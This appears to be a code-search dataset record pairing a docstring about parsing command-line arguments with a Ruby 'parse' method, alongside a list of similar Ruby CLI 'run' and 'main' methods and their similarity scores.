"def run(argv)\n # parse and analyze the command line\n options = Trollop::with_standard_exception_handling @args_parser do\n opts = @args_parser.parse(argv)\n\n raise Trollop::CommandlineError.new \"Too many arguments\" if argv.length > 1\n \n opts\n end\n \n path = (argv.shift or '.')\n \n Dir.chdir(path) do\n #include CRake\n load(options.input)\n end\n \n code = gen_cmake_code\n \n puts code # tem for debugging\n \n write_cmake_lists\n \n puts 'Calling CMake...'\n call_cmake\n end",
"def run \n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\"\n process_arguments(@validoptions.args)\n puts \"Finished at #{DateTime.now}\"\n else\n raise BoilerMakerErr.new(\"Could not parse options. An unknown error has ocurred.\")\n exit $!\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments\n # add parameters\n args = {}\n # TODO: use correct syntax for set\n args[:verbose] = @options.verbose if @options.verbose\n args[:input] = @options.input if @options.input\n args[:output] = @options.output if @options.output\n args[:map_name] = @options.map_name if @options.map_name\n args[:not_installed] = @options.cwd if @options.cwd\n \n program = Guy.new args\n program.work\n puts \"Finished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end",
"def main\n if system(ARGV.join(\" \"))\n exit 0\n else\n main\n end\nend",
"def run\n if options_valid? && option_combinations_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\\\n\\\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end\n end",
"def run\n if parsed_options? && arguments_valid?\n log \"Start at #{DateTime.now}\\n\"\n output_options\n process_command\n log \"Finished at #{DateTime.now}\"\n else\n output_usage\n end\n end",
"def run\n if parsed_options? && arguments_valid?\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose\n\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end\n end",
"def run\n @arguments = ArgumentParser.get_arguments VALID_ARGUMENTS\n print_help if (@arguments[:options][:help])\n print_version if (@arguments[:options][:version])\n if (@arguments[:keywords][:export])\n handle_export\n elsif (@arguments[:keywords][:import])\n handle_import\n else\n print_help\n end\n end",
"def run(arguments)\n config = Configuration.load_applicable\n run_command(config, arguments)\n\n ExitCodes::OK\n rescue => ex\n ErrorHandler.new(@ui).handle(ex)\n end",
"def run\n if !options_parsed?() || !options_valid?()\n @stderr.puts(\"\")\n output_usage(@stderr)\n return 1\n end\n return run_real()\nend",
"def run\n # puts \"parsed_options? >>> #{parsed_options?}\"\n # puts \"arguments_valid? >>> #{arguments_valid?}\"\n if parsed_options? && arguments_valid?\n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n process_arguments\n \n output_options if @options.verbose # [Optional]\n \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run(args)\n opts = parse_options(args)\n unless @end_program\n crawler = Spiderman::Crawler.new(opts)\n crawler.crawl\n end\n end",
"def run\n begin\n process_arguments\n rescue ArgumentError\n output_usage\n end\n end",
"def run\n # puts arguments_valid?\n if parsed_options?\n puts \"Start at #{DateTime.now}\" if verbose?\n\n output_options if verbose?\n\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if verbose?\n else\n puts 'The options passed are not valid!'\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_options\n end\n end",
"def run(args)\n safely_mkdir(MAIN_DIR)\n safely_mkdir(MOD_DIR)\n safely_mkdir(PACK_DIR)\n\n return HELP_TEXT if args.include?('-h') || args.include?('--help')\n return VERSION if args.include?('-v') || args.include?('--version')\n\n case args[0]\n when 'help'\n return HELP_COMMANDS[args[1].to_sym] if HELP_COMMANDS.key?(args[1].to_sym)\n return HELP_TEXT\n when 'fetch'\n return CommandFetch.run(args[1])\n when 'manifest'\n return CommandFetch.install_manifest(args[1])\n when 'installmod'\n return CommandInstall.run_mod(args[1])\n when 'installpack'\n return CommandInstall.run_pack(args[1]).to_s # remove\n else\n end\n end",
"def run\n \n if parsed_options? && arguments_valid?\n \n output_options if @options.verbose # [Optional]\n \n process_arguments\n \n # run as import_nsw_candidates -p \"data/postcodes_2010nsw.csv\" -c\n postcode_parser = ParsePostcodeNSW.new()\n postcode_parser.parse(@options.postcodes)\n \n candidate_parser = ParseCandidateNSW.new()\n candidate_parser.parse(@options.candidates)\n \n else\n output_usage\n end\n \n end",
"def run!(options = {})\n run_option_parser.parse!(ARGV.dup) unless ARGV.empty?\n @running = true\n super(options)\n end",
"def run(argv)\n _run(argv)\n rescue Quickl::Error => ex\n handle_error(ex)\n end",
"def parse(args)\n @args = args\n @instruction = args.join(' ')\n until @args.empty?\n arg = @args[0]\n if @instructions.key? arg\n @args.shift\n buff = args_extract(arg, @instructions[arg][0])\n @to_exec << [arg, buff]\n else\n bad_argument_exit(arg)\n end\n end\n run\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments \n process_command\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n Trollop::die \"user error, replace user and continue\"\n end\n end",
"def run(arguments)\n run_command(arguments)\n\n ExitCodes::OK\n rescue => ex\n ErrorHandler.new(@ui).handle(ex)\n end",
"def run!\n trace = false\n require_program :version, :description\n\n global_option('-h', '--help', 'Help on any command', :hide => true)\n global_option('--version', 'Display version information', :hide => true)\n\n # special case --debug so all commands can output relevant info on it\n $terminal.debug = options_parse_debug\n\n # special case --trace because we need to use it in the runner\n trace = options_parse_trace\n\n # special case --version so it is processed before an invalid command\n options_parse_version\n\n # help is a special branch prior to command execution\n options_parse_help\n\n unless trace\n begin\n run_active_command\n rescue InvalidCommandError => e\n run_help(provided_arguments)\n rescue \\\n OptionParser::InvalidOption => e\n RHC::Helpers.error e.message\n 1\n rescue \\\n ArgumentError,\n OptionParser::ParseError => e\n\n help_bindings = CommandHelpBindings.new(active_command, commands, self)\n usage = RHC::HelpFormatter.new(self).render_command_syntax(help_bindings)\n message = case e\n when OptionParser::AmbiguousOption\n \"The option #{e.args.join(' ')} is ambiguous. You will need to specify the entire option.\"\n else\n e.message\n end\n\n RHC::Helpers.error message\n say \"#{usage}\"\n 1\n rescue RHC::Exception, RHC::Rest::Exception => e\n RHC::Helpers.error e.message\n e.code.nil? ? 128 : [1, (e.code || 1).to_i].max\n end\n else\n run_active_command\n end\n end",
"def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end",
"def run(argv)\n load_tasks\n\n if argv.empty?\n print_help\n else\n build_task(argv).run\n end\n end",
"def checkCommandLine\r\n if ARGV.length != 2\r\n puts \"\\nUsage: sum <fileName> <numThreads>\\n\\n\"\r\n exit(1)\r\n end\r\nend",
"def initialize(argv = [])\n @debug = $DEBUG\n @verbose = $VERBOSE\n @version_requested = false\n\n opt = OptionParser.new\n opt.banner = 'Usage: peeek [switches] [--] [programfile] [arguments]'\n opt.summary_indent = ' ' * 2\n opt.summary_width = 15\n\n @working_directory = nil\n\n opt.on('-Cdirectory', 'cd to directory before executing your script') do |directory|\n @working_directory = directory\n end\n\n opt.on('-d', '--debug', 'set debugging flags (set $DEBUG to true)') do\n @debug = true\n @verbose = verbose_by(VERBOSE)\n end\n\n commands = []\n\n opt.on(\"-e 'command'\", \"one line of script. Several -e's allowed. Omit [programfile]\") do |command|\n commands << command\n end\n\n if self.class.encoding_options_enabled?\n @external_encoding = Encoding.default_external\n @internal_encoding = Encoding.default_internal\n\n opt.on('-Eex[:in]', '--encoding=ex[:in]', 'specify the default external and internal character encodings') do |encodings|\n external_encoding, internal_encoding = parse_encodings(encodings)\n @external_encoding = external_encoding if external_encoding\n @internal_encoding = internal_encoding\n end\n end\n\n @hook_targets = []\n\n opt.on('-Hstring', 'object and method name that is target of hook') do |string|\n hook_spec = Hook::Specifier.parse(string)\n @hook_targets << hook_spec unless @hook_targets.include?(hook_spec)\n end\n\n @directories_to_load = []\n\n opt.on('-Idirectory', 'specify $LOAD_PATH directory (may be used more than once)') do |directory|\n @directories_to_load << directory unless @directories_to_load.include?(directory)\n end\n\n @required_libraries = []\n\n opt.on('-rlibrary', 'require the library before executing your script') do |library|\n @required_libraries << library unless @required_libraries.include?(library)\n end\n\n opt.on('-v', 'print version number, then turn on verbose mode') do\n @version_requested = true\n @verbose = verbose_by(VERBOSE)\n end\n\n opt.on('-w', '--verbose', 'turn warnings on for your script') do\n @verbose = verbose_by(VERBOSE)\n end\n\n level_strings = [:SILENCE, :MEDIUM, :VERBOSE].map do |const_name|\n \"#{self.class.const_get(const_name)}=#{const_name.to_s.downcase}\"\n end\n\n opt.on(\"-W[level=#{VERBOSE}]\", \"set warning level; #{level_strings * ', '}\", Integer) do |level|\n @verbose = verbose_by(level || VERBOSE)\n end\n\n @continued = true\n\n opt.on('--version', 'print the version') do\n @version_requested = true\n @continued = false\n end\n\n opt.on_tail('-h', '--help', 'show this message') do\n raise Help, opt.help\n end\n\n @arguments = opt.order(argv)\n @command = commands * '; '\n end",
"def run(args = ARGV, disable_usage_message = false)\n # TODO: signal handling of some kind?\n\n result, matched = _run(args.dup)\n\n if !matched && !disable_usage_message\n usage\n end\n\n result\n rescue RuntimeError => e\n if @rescue_errors\n $stderr.puts \"A runtime error occured: #{e.message.strip}\"\n nil\n else\n raise e\n end\n end",
"def parse!\n begin\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n @options\n rescue Exception => e\n raise e if e.is_a?(SystemExit)\n\n $stderr.puts e.message\n exit 1\n end\n exit 0\n end",
"def run(argv)\n arguments = parse(argv)\n return if @quit\n\n Wright.activate_dry_run if @dry_run\n Wright.log.level = @log_level if @log_level\n @main.extend Wright::DSL\n\n run_script(arguments)\n end",
"def run(args = [], runtime_options = {})\r\n begin\r\n parse!(args.dup, runtime_options)\r\n rescue OptionParser::InvalidOption => e\r\n # Don't cry, script. Generators want what you think is invalid.\r\n end\r\n\r\n # Generator name is the only required option.\r\n unless options[:generator]\r\n usage if args.empty?\r\n options[:generator] ||= args.shift\r\n end\r\n\r\n # Look up generator instance and invoke command on it.\r\n Rails::Generator::Base.instance(options[:generator], args, options).command(options[:command]).invoke!\r\n rescue => e\r\n puts e\r\n puts \" #{e.backtrace.join(\"\\n \")}\\n\" if options[:backtrace]\r\n raise SystemExit\r\n end",
"def run(*args)\n cli.run(*args)\n end",
"def cli(commandline_arguments)\n CLITest.new(BIN_P).run(commandline_arguments)\n end",
"def run(argv)\n arguments = parse(argv)\n return if quit\n\n Wright.activate_dry_run if dry_run\n Wright.log.level = log_level if log_level\n main.extend Wright::DSL\n requires.each { |r| require r }\n\n run_script(arguments)\n end",
"def run\n \n if parsed_options?\n \n process_command\n end\n \n end",
"def call(*args)\n puts parser.help\n exit 1\n end",
"def run\r\n return puts(\"usage example: glimmer run tictactoe\") unless @name\r\n # Search for the filename (and add the .rb extension if not provided), and run it\r\n if File.exist?(\"#{@name}#{'.rb' unless @name =~ /.rb$/}\")\r\n command = \"#{JRUBY_COMMAND} \\\"#{@name.gsub(/\\\\/, '/')}#{'.rb' unless @name =~ /.rb$/}\\\"\"\r\n else\r\n # Search for all installed samples and try to run of those\r\n command = \"#{JRUBY_COMMAND} \\\"#{SAMPLES_PATH}/#{fetch_app(@name)}.rb\\\"\"\r\n end\r\n puts \"Starting the application with following command:\"\r\n puts command\r\n system command\r\n end",
"def go_with_args(argv=[])\n catch(:exit_err) { catch(:exit_zero) { @cli_obj.go(argv) } }\n end",
"def main(args=[])\n if args.empty?\n puts @prog_list.keys.sort.join(\", \")\n else\n puts \"Game Lessons Launcher, Args = [#{args.join(\",\")}]\"\n require @prog_list[args[0]]\n end\n rescue GamesLessonNotFoundError\n puts \"The program #{args[0]} was not found.\"\n end",
"def check_command_line\n if (!ARGV[0].nil? && ARGV[0].downcase == \"test\")\n @test = true\n elsif(ARGV.length < 2)\n puts \"USAGE: ruby main.rb <users_csv_file> <businesses_csv_file>\"\n puts \"OR\"\n puts \"USAGE: ruby main.rb test\"\n exit 1\n end\nend",
"def run args\n if host.nil?\n fail_with \"This system is not supported.\"\n elsif (task.verb = extract_verb(args)).nil?\n fail_with \"Not sure what you meant.\"\n else\n parse_cmdline task.verb, args\n send \"handle_#{task.verb.def.name}\", task.verb\n end\n ensure\n Base.threads.each &:join\n end",
"def execute\n if options[:version]\n self.console.puts \"traject version #{Traject::VERSION}\"\n return true\n end\n if options[:help]\n self.console.puts slop.to_s\n return true\n end\n\n\n (options[:load_path] || []).each do |path|\n $LOAD_PATH << path unless $LOAD_PATH.include? path\n end\n\n arg_check!\n\n self.indexer = initialize_indexer!\n\n ######\n # SAFE TO LOG to indexer.logger starting here, after indexer is set up from conf files\n # with logging config.\n #####\n\n indexer.logger.info(\"traject (#{Traject::VERSION}) executing with: `#{orig_argv.join(' ')}`\")\n\n # Okay, actual command process! All command_ methods should return true\n # on success, or false on failure.\n result =\n case options[:command]\n when \"process\"\n (io, filename) = get_input_io(self.remaining_argv)\n indexer.settings['command_line.filename'] = filename if filename\n indexer.process(io)\n when \"marcout\"\n (io, filename) = get_input_io(self.remaining_argv)\n indexer.settings['command_line.filename'] = filename if filename\n command_marcout!(io)\n when \"commit\"\n command_commit!\n else\n raise ArgumentError.new(\"Unrecognized traject command: #{options[:command]}\")\n end\n\n return result\n rescue Exception => e\n # Try to log unexpected exceptions if possible\n indexer && indexer.logger && indexer.logger.fatal(\"Traject::CommandLine: Unexpected exception, terminating execution: #{Traject::Util.exception_to_log_message(e)}\") rescue nil\n raise e\n end",
"def run\n begin\n parse_options\n rescue UnsupportedOption\n exit 1\n end\n\n dir = @options[:directory]\n Dir.chdir(dir) if dir\n\n prune_bundler if prune_bundler?\n\n set_rack_environment\n\n if clustered?\n @events.formatter = Events::PidFormatter.new\n @options[:logger] = @events\n\n @runner = Cluster.new(self)\n else\n @runner = Single.new(self)\n end\n\n setup_signals\n set_process_title\n\n @status = :run\n\n @runner.run\n\n case @status\n when :halt\n log \"* Stopping immediately!\"\n when :run, :stop\n graceful_stop\n when :restart\n log \"* Restarting...\"\n @runner.before_restart\n restart!\n when :exit\n # nothing\n end\n end",
"def run\n write_parameter_file\n Tandem.run_commandline_application\n end",
"def run(arguments)\n parse(arguments)\n configure\n execute\n end",
"def run(*args)\n if args.empty? || (args.size == 1 && %w(-h --help).include?(args.first))\n puts help\n else\n sparkline = Sparkline.new(args.map(&:to_f))\n puts sparkline.to_s\n end\n end",
"def main(command_line_options=ARGV)\n parser = Slop::Parser.new cli_flags\n arguments = parse_arguments(command_line_options, parser)\n\n if arguments.key?(:ce) || arguments.key?(:ci) || arguments.key?(:h)\n if arguments.key?(:ci)\n\n end\n if arguments.key?(:ce)\n\n end\n if arguments.key?(:h)\n puts cli_flags\n end\n exit\n end\n\n elsif set?(arguments, :port)\n puts portquiz arguments[:port]\n elsif set?(arguments, :down)\n puts is_it_up arguments[:down]\n end",
"def cli(commandline_arguments)\n CLITest.new(BINARY).run(commandline_arguments)\n end",
"def parse_command_line\n prepend_environment_options\n options = options_with_defaults\n\n OptionParser.new do |parser|\n\n parser.on(\"-h\", \"--help\", \"Show help\") do |_help_requested|\n ARGV << 'h' # pass on the request to the command processor\n options.suppress_command_line_validation = true\n end\n\n parser.on('-i', '--input_dir DIR',\n \"Input directory containing source data files, default: '#{DEFAULT_INPUT_DIR}'\") do |v|\n options.input_dir = File.expand_path(v)\n end\n\n parser.on('-o', '--output_dir DIR',\n \"Output directory to which report files will be written, default: '#{DEFAULT_OUTPUT_DIR}'\") do |v|\n options.output_dir = File.expand_path(v)\n end\n\n parser.on('-r', '--receipt_dir DIR',\n \"Directory root from which to find receipt filespecs, default: '#{DEFAULT_RECEIPT_DIR}'\") do |v|\n options.receipt_dir = File.expand_path(v)\n end\n\n parser.on('-s', '--shell', 'Start interactive shell') do |v|\n options.interactive_mode = true\n end\n\n parser.on('-v', '--[no-]verbose', 'Verbose mode') do |v|\n options.verbose_mode = v\n end\n\n parser.on('-y', '--[no-]say', 'Say error messages.') do |v|\n options.say = v\n end\n\n parser.on('', '--[no-]receipts', 'Include report on existing and missing receipts.') do |v|\n options.do_receipts = v\n end\n end.parse!\n\n if options.verbose_mode\n puts \"Run Options:\"\n ap options.to_h\n end\n\n options\n end",
"def main(argv)\n # override this; no default action in main\n end",
"def main(*args)\n #puts self.class # TODO: fix help\n raise NoCommandError\n end",
"def run(args)\n # force immediate output\n $stdout.sync = true\n\n # setup logging\n Giblog.setup\n\n # Parse cmd line\n cmdline = CmdLineParser.new args\n Giblog.logger.debug { \"cmd line args: #{cmdline.args}\" }\n\n exit_code = execute_conversion(cmdline)\n Giblog.logger.info { \"Giblish is done!\" } if exit_code.zero?\n exit_code\n end",
"def run\n\n if parsed_options? && arguments_valid? && client_configured?\n\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n output_options if @options.verbose # [Optional]\n\n process_arguments\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n else\n output_usage\n end\n\n end",
"def run\n input = OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n\n opts.on(\"--debug\", \"Turn on debugging output.\") do |debug|\n $DEBUG = @options[:debug] = debug\n end\n\n opts.on(\"-n <path>\", \"--new\", \"Create a new Corrupt application.\") do |path|\n @options[:path] = path\n end\n\n opts.on(\"-v\", \"--version\", \"Print the version.\") do |v|\n output(Corrupt.to_version)\n exit\n end\n end\n\n begin\n @argv << '--help' if @argv.empty?\n input.parse!(@argv)\n take_action!\n rescue OptionParser::InvalidOption => error\n error(\"#{error}\\nTry passing '--help'\")\n rescue OptionParser::MissingArgument => error\n error(\"#{error}\\nTry passing '--help'\")\n end\n end",
"def go(argv)\n logger.debug(\"Using args passed in: #{argv.inspect}\")\n\n cmd = nil\n\n @optparse = OptionParser.new do |opts|\n cmd = super(argv, opts, @config)\n\n opts.on('-v', '--version', 'Print the version') do\n puts \"#{name} #{version}\"\n abort\n end\n end\n\n @optparse.parse!(argv)\n\n logger.debug(\"Parsed config: #{@config.inspect}\")\n\n cmd.execute(argv, @config)\n end",
"def do_as_i_said\n if ARGV.length == 0\n puts $usage\n exit\n elsif ARGV[0] == \"-h\"\n\n arguments = ARGV.dup\n \n if arguments.length > 2\n arguments.slice!(2..(arguments.length - 1))\n end\n \n parse_command_line(arguments)\n \n else\n arguments = ARGV.dup\n command = split_arguments! arguments\n \n # Prevent space character from being considered as a separator.\n arguments.map! do |arg|\n if arg == \" \"\n '\" \"'\n else\n arg\n end\n end\n \n exec(\"#{$current_directory}/gimmicode-#{command} #{arguments.join(\" \")}\")\n end\nend",
"def parse_command_line(args)\n test_configuration = {}\n\n option_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: run-tests.rb [options]'\n opts.separator 'Specific options:'\n\n opts.on('--blinkr', 'Execute broken link checks') do |opt|\n test_configuration[:blinkr] = opt\n end\n\n opts.on('--dcp', 'Execute dcp broken link checks') do |opt|\n test_configuration[:dcp] = opt\n end\n\n opts.on('--base-url RHD_BASE_URL', String, 'Run the tests against the specified host e.g http://developers.stage.redhat.com') do |host|\n test_configuration[:base_url] = host\n end\n\n opts.on('-c CONFIG_FILE', 'specify the config.yaml file for broken link checks') do |opt|\n test_configuration[:config] = opt\n end\n\n opts.on('--ignore-internal', \"Ignore internal URL's\") do |opt|\n test_configuration[:ignore_internal] = opt\n end\n\n opts.on('--ignore-external', \"Ignore external URL's\") do |opt|\n test_configuration[:ignore_external] = opt\n end\n\n opts.on('--ignore-ssl', 'Disable SSL certificate checking for staging environments') do |opt|\n test_configuration[:ignore_ssl] = opt\n end\n\n #\n # Options supporting the execution of the tests within Docker\n #\n opts.on('--use-docker', 'Run the specified test type using Docker') do\n test_configuration[:docker] = true\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n Kernel.exit(1)\n end\n end\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e\n option_parser.parse(%w(-h))\n end\n bind_test_type_environment_variable(test_configuration)\n build_test_execution_command(test_configuration)\n test_configuration\n end",
"def run(args)\n if not defined? Trepan::PROG_SCRIPT\n errmsg \"Don't know name of debugged program\"\n return\n end\n prog_script = Trepan::PROG_SCRIPT\n if not defined? Trepan::PROG_UNRESOLVED_SCRIPT\n # FIXME? Should ask for confirmation? \n msg \"Debugger was not called from the outset...\"\n trepan8_script = prog_script\n else \n trepan8_script = Trepan::PROG_UNRESOLVED_SCRIPT\n end\n begin\n Dir.chdir(Trepan::INITIAL_DIR)\n rescue\n print \"Failed to change initial directory #{Trepan::INITIAL_DIR}\"\n end\n if not File.exist?(File.expand_path(prog_script))\n errmsg \"Ruby program #{prog_script} doesn't exist\\n\"\n return\n end\n if not File.executable?(prog_script) and trepan8_script == prog_script\n msg \"Ruby program #{prog_script} doesn't seem to be executable...\"\n msg \"We'll add a call to Ruby.\\n\"\n ruby = begin defined?(Gem) ? Gem.ruby : \"ruby\" rescue \"ruby\" end\n trepan8_script = \"#{ruby} -I#{$:.join(' -I')} #{prog_script}\"\n else\n trepan8_script += ' '\n end\n if args.size == 1\n if not defined? Trepan::OldCommand.settings[:argv]\n errmsg \"Arguments have not been set. Use 'set args' to set them.\"\n return\n else\n argv = Trepan::OldCommand.settings[:argv]\n end\n else\n argv = [prog_script] + args[1..-1]\n end\n args = argv.join(' ')\n \n # An execv would be preferable to the \"exec\" below.\n cmd = trepan8_script + args\n msg \"Re exec'ing:\\n\\t#{cmd}\"\n exec cmd\n rescue Errno::EOPNOTSUPP\n msg \"Restart command is not available at this time.\"\n end",
"def call\n banner \"Starting Polytrix (v#{Polytrix::VERSION})\"\n elapsed = Benchmark.measure do\n setup\n tests = parse_subcommand(args.shift, args.shift)\n implementors = tests.map(&:implementor).uniq\n if IMPLEMENTOR_ACTIONS.include? action # actions on implementors\n run_action(action, implementors)\n else # actions on tests\n run_action(action, tests)\n end\n end\n banner \"Polytrix is finished. #{Util.duration(elapsed.real)}\"\n end",
"def run(args)\n ret = DEFAULTS.merge({})\n\n # create option parser\n o = ::OptionParser.new do |o|\n o.banner = \"Usage: #@app [options]\"\n o.separator \" \"\n\n # add command-line options\n o.separator \"Options:\"\n\n o.on('-A', '--allow USER', 'Allow Jabber subscription from USER.') do |v|\n add_allowed(ret, v)\n end\n\n o.on('-c', '--config FILE', 'Use configuration file FILE.') do |v|\n Joggle::ConfigParser.run(v) do |key, val|\n if key == 'engine.allow'\n add_allowed(ret, val)\n elsif key == 'engine.update.range'\n add_update_range(ret, val)\n else\n ret[key] = val\n end\n end\n end\n\n o.on('-D', '--daemon', 'Run as daemon (in background).') do |v|\n ret['cli.daemon'] = true\n end\n\n o.on('--foreground', 'Run in foreground (the default).') do |v|\n ret['cli.daemon'] = false\n end\n\n o.on('-L', '--log-level LEVEL', 'Set log level to LEVEL.') do |v|\n ret['runner.log.level'] = v\n end\n\n o.on('-l', '--log FILE', 'Log to FILE.') do |v|\n ret['runner.log.path'] = v\n end\n\n o.on('-p', '--password PASS', 'Jabber password (INSECURE!).') do |v|\n ret['jabber.pass'] = v\n end\n\n o.on('-s', '--store FILE', 'Use FILE as backing store.') do |v|\n ret['runner.store.path'] = v\n end\n\n o.on('-u', '--username USER', 'Jabber username.') do |v|\n ret['jabber.user'] = v\n end\n\n o.separator ' '\n\n o.on_tail('-v', '--version', 'Print version string.') do\n puts \"Joggle %s, by %s\" % [\n Joggle::VERSION,\n 'Paul Duncan <[email protected]>',\n ]\n exit\n end\n\n o.on_tail('-h', '--help', 'Print help information.') do\n puts o\n exit\n end\n end\n\n # parse arguments\n o.parse(args)\n\n # return results\n ret\n end",
"def process_args\n args = @args.dup\n @options[:operands] = nil\n unless args.length >= 2\n puts @opts\n exit 1\n end\n @options[:operands] = args.shift(2)\n @options[:output_filename] = args.shift unless args.empty?\n @options[:output] ||= @options[:output_filename] || $stdout\n\n run\n end",
"def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end",
"def parse_command_line\n OptionParser.new do |opts|\n opts.banner = \"Usage: ruby #{$0} [options]\"\n\n opts.on_head(\"-h\", \"--help\", \"Show this help message\") do\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"--verbose\", \"Show all progress messages (INFO, DEBUG, WARNING, ERROR)\") do\n Logger.verbose = true\n end\n\n opts.on(\"-q\", \"--quiet\", \"Only show WARNING and ERROR messages\") do\n Logger.quiet = true\n end\n\n opts.on(\"--console\", \"Open up a console to query the source via rbgccxml\") do\n @requesting_console = true\n end\n\n opts.on(\"--clean\", \"Force a complete clean and rebuild of this extension\") do\n @force_rebuild = true\n end\n\n end.parse!\n end",
"def run(*args, verbosity: 0, delegated_from: nil)\n tool, remaining = ContextualError.capture(\"Error finding tool definition\") do\n @loader.lookup(args.flatten)\n end\n ContextualError.capture_path(\n \"Error during tool execution!\", tool.source_info&.source_path,\n tool_name: tool.full_name, tool_args: remaining\n ) do\n default_data = {\n Context::Key::VERBOSITY => verbosity,\n Context::Key::DELEGATED_FROM => delegated_from,\n }\n run_tool(tool, remaining, default_data)\n end\n rescue ContextualError, ::Interrupt => e\n @error_handler.call(e).to_i\n end",
"def start\n return if initialized\n puts copyright\n argv = ARGV\n ARGV.clear\n IRB.start\n ARGV.replace(argv)\n end",
"def __main__(args)\n Fifa::Task.new($opts = parse(args[1..-1])).exec\n exit(1) if Fifa::Logger.errors?\nend",
"def run_from_command_line\n handle_exceptions do\n remotes.load\n handle_options\n execute_command_from_command_line\n end\n end",
"def invoke(argv)\n system(\n argv.join(' ')\n )\n end",
"def run!\n @opts = slop_parse\n @skip = @opts[:skip] || []\n\n display_version if @opts[:v]\n run_checks\n end",
"def gentest argv\n argv = argv.dup\n @both = false\n process_opts(argv) if /^-/ =~ argv.first\n\n @service_controller = deduce_services_controller\n @ui = Hipe::IndentingStream.new($stdout,'')\n file = argv.shift\n mod = deduce_module_from_file file\n mod.spec.invocation_name = File.basename(file)\n get_actuals mod, argv\n @ui.indent!.indent!\n go_app(mod, file)\n go_desc(mod, file) do\n go_exp\n go_act(mod, argv)\n end\n exit(0) # rake is annoying\n end",
"def main(argv = ARGV)\n retval = 1 # Program exit status; zero means success, non-zero means error\n if argv.empty?\n $stderr.puts USAGE\n else\n dict = AnagramDictionary.new\n word = argv.join.strip\n word.upcase_letters.partitions do |partition|\n candidates = partition.collect { |letters| dict.lookup(letters.join) }\n if candidates.all? { |words| !words.empty? }\n puts candidates.collect { |words| words.join(' ') }.join(' | ')\n retval = 0\n end\n end\n end\n retval\nend"
] |
[
"0.6831748",
"0.6662406",
"0.64780813",
"0.6459409",
"0.64531523",
"0.64427316",
"0.643199",
"0.64210933",
"0.6416214",
"0.6375755",
"0.6360391",
"0.63353175",
"0.63198113",
"0.6318173",
"0.6300136",
"0.6292529",
"0.6291481",
"0.62793154",
"0.62793154",
"0.62793154",
"0.62793154",
"0.62793154",
"0.62793154",
"0.6264152",
"0.62636083",
"0.62511986",
"0.6246039",
"0.62287086",
"0.6219159",
"0.6216745",
"0.6214112",
"0.6196377",
"0.61923593",
"0.6176664",
"0.61681455",
"0.6136647",
"0.61306036",
"0.612879",
"0.6120794",
"0.608527",
"0.6084255",
"0.6077795",
"0.60586345",
"0.598512",
"0.59765476",
"0.5973044",
"0.59706813",
"0.596533",
"0.5963889",
"0.5952497",
"0.59484434",
"0.5930673",
"0.5927691",
"0.5877242",
"0.5860789",
"0.5824737",
"0.58136714",
"0.5812371",
"0.5776169",
"0.57757056",
"0.5766772",
"0.576452",
"0.576174",
"0.57411367",
"0.5724536",
"0.5707812",
"0.570692",
"0.5689657",
"0.56892705",
"0.56870955",
"0.5686701",
"0.56856203",
"0.5685208",
"0.56764126",
"0.56750536",
"0.56704813",
"0.5663826",
"0.56558204",
"0.5651699",
"0.5640121",
"0.5637477",
"0.5632886",
"0.56203336",
"0.5609826",
"0.5597688",
"0.55949354",
"0.55894196",
"0.5586172",
"0.5581714",
"0.55756277",
"0.55750906",
"0.55729234",
"0.5565965",
"0.5563945",
"0.5540616",
"0.5537398",
"0.55355",
"0.5532273",
"0.552996",
"0.5527851",
"0.55226284"
] |
0.0
|
-1
|
Parses the commandline arguments and runs the executable. This does not handle exceptions or exit the program.
|
def parse
@opts = OptionParser.new(&method(:set_opts))
@opts.parse(@args)
@options
run_headless_web_browser
end
|
{
"objective": {
"self": [],
